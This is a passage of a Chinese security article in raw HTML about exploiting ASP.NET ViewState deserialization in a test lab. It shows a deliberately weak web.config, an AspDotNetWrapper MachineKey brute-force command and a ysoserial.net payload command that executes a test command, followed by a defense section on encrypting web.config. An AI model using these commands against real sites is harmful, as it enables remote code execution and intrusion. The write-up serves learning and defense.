8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;margin-right: 8px;overflow: hidden;"><br/></section><section style="flex: 1 1 0%;height: 1px;background: rgb(24, 112, 190);overflow: hidden;"><br/></section></section></section></section><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">4.4. testCase4 加密（.NET Framwork &gt;= 4.5)</span><br/></h3><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">如果使用 .NET Framwork 4.5 以上的加密方法，在实验过程中发现已经无法像 testCase3 中那样删除 __VIEWSTATEENCRYPTED 来绕过加密验证了，不过 AspDotNetWrapper 却支持这种情况下的 MachineKey 爆破</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">（测试环境下，可以通过设置 MachineKey 的兼容性参数，来强制使用 4.5 以上的加密方法）</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">web.config</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">configuration</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">system.web</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">pages</span> </span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">enableViewState</span>=<span class="code-snippet__string">&#34;true&#34;</span> </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">enableViewStateMac</span>=<span class="code-snippet__string">&#34;true&#34;</span> </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">viewStateEncryptionMode</span>=<span class="code-snippet__string">&#34;Always&#34;</span> </span></code><code><span class="code-snippet_outer">        /&gt;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">customErrors</span> <span class="code-snippet__attr">mode</span>=<span class="code-snippet__string">&#34;Off&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">machineKey</span></span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">validationKey</span>=<span class="code-snippet__string">&#34;32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F&#34;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">decryptionKey</span>=<span class="code-snippet__string">&#34;B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4&#34;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">validation</span>=<span class="code-snippet__string">&#34;SHA1&#34;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">decryption</span>=<span class="code-snippet__string">&#34;AES&#34;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">compatibilityMode</span>=<span class="code-snippet__string">&#34;Framework45&#34;</span></span></code><code><span class="code-snippet_outer">        /&gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">system.web</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">appSettings</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">add</span> <span class="code-snippet__attr">key</span>=<span class="code-snippet__string">&#34;aspnet:AllowInsecureDeserialization&#34;</span> <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;true&#34;</span> /&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">appSettings</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">configuration</span>&gt;</span></span></code></pre></section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">尝试使用爆破 MachineKey:</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">页面返回的 ViewState 相关表单：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.12643678160919541" data-s="300,640" style="" data-type="png" data-w="1131" src="https://wechat2rss.xlab.app/img-proxy/?k=d0193918&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5Diacw7iboX9Hrk16zKwm4CAPibHC1w2xcA0LTRFicf0ibYr6ibo1Zam7KIwMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">爆破 MachineKey</span></p><blockquote style="box-sizing: border-box;margin: 20px 10px;padding-top: 1px;padding-bottom: 1px;font-size: 16px;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;background: rgba(158, 158, 158, 0.1);border-left-color: rgb(158, 158, 158);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><p style="box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata A8e/FkDU5napMoKJ/CkyFhmPlosC4OmRfeFCcBV0q1LN//avhGcA7Vr/utvWc4Y3A/5tnJjeA3rbFf8SLPFDuuP++lbLTsPIYjryerxt6iR9qYwdYc5h7+Qldb37uY13L0UDmYE+k2TuOdL2Pixjy450o8uj13ebUbNHQCh5Ak+b1IB8 --decrypt --purpose=ViewState --IISDirPath &#34;/&#34; --TargetPagePath &#34;/upload.aspx&#34;</span></p></blockquote><p style="text-align: center;"><img class="rich_pages" data-backh="170" data-backw="524" data-ratio="0.3253968253968254" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1134" src="https://wechat2rss.xlab.app/img-proxy/?k=937bda3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5Ds2LlqNwjRnT9SdQqHMKVvpiccQ4u4Ks5FJNEBqR8UtNWDTUvR0VSjMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">然后再使用 ysoserial.net 生成 payload，来验证我们这种情况下能否利用成功。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ysoserial.exe -p ViewState -g TextFormattingRunProperties -c &#34;echo test4 &gt; C:\temptest\test4.txt&#34; --apppath=&#34;/&#34; --path=&#34;/upload.aspx&#34; --decryptionalg=&#34;AES&#34; --decryptionkey=&#34;B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4&#34; --validationalg=&#34;SHA1&#34; --validationkey=&#34;32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F&#34;</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4467140319715808" data-s="300,640" style="" data-type="png" data-w="1126" src="https://wechat2rss.xlab.app/img-proxy/?k=e7fcf195&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DuiaHWjUn7MQbJq5dIgYockqCKQibyr0qIvgF2ic4sWcyH8bSOK0BicCeuw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">验证结果：</span></p></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.537719298245614" data-s="300,640" style="" data-type="png" data-w="1140" src="https://wechat2rss.xlab.app/img-proxy/?k=0df6700f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DWcdCs5VHR7NiabBH3Zo1ap92iag3Rh2jNJFkNF9OprgJDHJcAjQtJ3pA%2F640%3Fwx_fmt%3Dpng"/></p><section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">执行成功</span></p></section></section></section></section></section></section></section></section><section data-role="paragraph" data-color="#59c3f9"><p><br/></p></section><section data-tools="135编辑器" data-id="101258" data-color="#59c3f9"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section style="display: flex;" hm_fix="237:214"><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-right: -2px;margin-top: -1.2px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ff460316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5D090cxZOgodcnNiav2O2nY2yzWuouQiaX0c7gVxHVSwxuicTw1iajuoTPwA%2F640%3Fwx_fmt%3Dgif"/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(89, 195, 249);letter-spacing: 1.5px;word-break: break-all;padding: 5px 1em;border-width: 2px;border-style: solid;border-color: rgb(89, 195, 249);box-sizing: border-box;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 18px;"><strong>5.防御</strong></span></section><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-left: -2px;margin-bottom: -1.1px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=c614db6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DYYlWgBIoPFNVIfkdUsBdzmNz8g1bbSJkw8cjg8iaYsqIGhQOYQYOBgg%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph" data-color="#59c3f9"><p><br/></p></section><section data-tools="135编辑器" data-id="93684" data-color="#59c3f9"><section style="margin: 10px 0%;box-sizing: border-box;"><section style="min-width: 10%;max-width: 100%;vertical-align: top;border-width: 1px;border-radius: 5px;border-style: none;border-color: rgb(89, 195, 249);overflow: hidden;padding: 8px;box-shadow: rgb(0, 0, 0) 0px 0px 0px 0px;box-sizing: border-box;color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="min-width: 10%;max-width: 100%;vertical-align: top;border-style: none;border-width: 1px;border-radius: 3px;border-color: rgb(89, 195, 249);box-shadow: rgb(117, 117, 117) 0px 0px 4px 0px;overflow: hidden;padding: 4px 8px;box-sizing: border-box;"><section style="margin: 10px 0%;box-sizing: border-box;"><section style="padding: 1em 0.8em;letter-spacing: 1.5px;color: rgb(63, 63, 63);font-size: 14px;line-height: 1.75em;box-sizing: border-box;"><section style=""><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><span style="background-color: rgb(255, 255, 255);">上面说了这么多，得到一个中心思想，如果网站一定要使用 ViewState 作为状态控制的话，除了要开启验证和加密</span>以外<span style="background-color: rgb(255, 255, 255);">，还要格外注意保护好 MachineKey ，或者说注意保护好配置文件如 web.config。</span></span></p><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">比如，如果站点还存在其他漏洞如文件包含、任意文件读取等，那么 web.config 的内容存在泄漏的风险，参考 <strong style="box-sizing: border-box;color: rgb(89, 195, 249);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">HITCON CTF 2018 - Why so Serials?</strong> 中的情景。    </span></p><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">不过 ASP.NET 提供了一种辅助机制，可以用来加密 web.config，包括加密其中的 MachineKey 字段等。</span></p><h3 style="background-color: rgb(255, 255, 255);box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">5.1 Protected Configuration</span></h3><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">摘自官方介绍的一段话：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">.NET Framework 包括两个受保护的配置提供程序，可用于对配置文件中的节进行加密。RsaProtectedConfigurationProvider类使用 RSACryptoServiceProvider 来加密配置节。DpapiProtectedConfigurationProvider类使用 Windows 数据保护 API （DPAPI）来加密配置节。</span></code><code><span class="code-snippet_outer">可能要求使用 RSA 或 DPAPI 提供程序以外的算法来加密敏感信息。在这种情况下，您可以生成自己的自定义受保护的配置提供程序。ProtectedConfigurationProvider是一个抽象基类，你必须从继承该类以创建你自己的受保护配置提供程序。</span></code></pre></section><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">我们可以使用现成的加密方法来对配置进行加密，甚至可以自己来写一个独有的加密算法。</span></p><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">官方介绍：</span></p><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 12px;"><a href="https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100)" target="_blank">https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100)</a></span></p><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 12px;"><a href="https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0" target="_blank">https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0</a></span></p><p cid="n149" mdtype="paragraph" style="background-color: rgb(255, 255, 255);box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">以 RsaProtectedConfigurationProvider 为例，对 web 应用程序配置文件进行加密大概分为以下流程（仅供参考）：</span></p><ol class="list-paddingleft-2" start="" cid="n150" mdtype="list" style="background-color: rgb(255, 255, 255);margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n152" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">创建 RSA key container(machine-level):</span></p><blockquote cid="n153" mdtype="blockquote" style="box-sizing: border-box;margin-top: 1rem;margin-bottom: 1rem;border-left-width: 4px;border-left-color: rgb(223, 226, 229);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);"><p cid="n154" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">aspnet_regiis -pc &#34;SampleKeys&#34; –exp</span></p></blockquote></li><li style="box-sizing: border-box;"><p cid="n156" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">将 key container 的访问权限赋给 web 应用的“所有者”</span></p><blockquote cid="n157" mdtype="blockquote" style="box-sizing: border-box;margin-top: 1rem;margin-bottom: 1rem;border-left-width: 4px;border-left-color: rgb(223, 226, 229);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);"><p cid="n158" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">aspnet_regiis -pa &#34;SampleKeys&#34; &#34;NT AUTHORITY\NETWORK SERVICE&#34;</span></p></blockquote></li><li style="box-sizing: border-box;"><p cid="n160" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">使用 key container 对指定的配置文件中的节加密（如果没有用 -prov 指定 provider 则默认为 RsaProtectedConfigurationProvider）</span></p><blockquote cid="n161" mdtype="blockquote" style="box-sizing: border-box;margin-top: 1rem;margin-bottom: 1rem;border-left-width: 4px;border-left-color: rgb(223, 226, 229);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);"><p cid="n162" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">aspnet_regiis -pe &#34;connectionStrings&#34; -app &#34;/MyApplication&#34;</span></p></blockquote></li></ol><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">官方文档的介绍中，还有一些点值得关注：</span></p><ol class="list-paddingleft-2" start="" cid="n164" mdtype="list" style="background-color: rgb(255, 255, 255);margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n166" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">key container 可以被导入、导出、删除、转移，只要保证使用的算法标准相同，key container 和 已加密的配置文件就可以一起迁移到另一台机器上；</span></p></li><li style="box-sizing: border-box;"><p cid="n168" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Protected Configuration 的意义在于保护配置文件中的敏感信息不以明文直接保存，但是当应用程序实例被创建时，解密后的配置文件信息还是会被装载到内存中，可以保证被 ASP.NET 程序读取。</span></p></li></ol><h3 style="background-color: rgb(255, 255, 255);box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">解密思路：</span></h3><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这种保护措施一定程度上提高了 web 应用对于外部入侵的防护能力，不过攻击者还可能从从另外的途径进入，那么仍然可以利用上面提到的特性破解</span></p><p style="background-color: rgb(255, 255, 255);text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: 